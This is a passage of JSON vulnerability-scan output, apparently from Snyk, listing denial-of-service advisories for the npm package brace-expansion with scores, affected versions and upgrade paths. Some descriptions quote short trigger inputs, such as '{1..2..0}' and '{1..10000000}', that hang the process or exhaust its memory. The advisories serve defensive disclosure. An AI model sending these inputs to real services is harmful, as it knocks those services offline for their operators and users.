"2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], 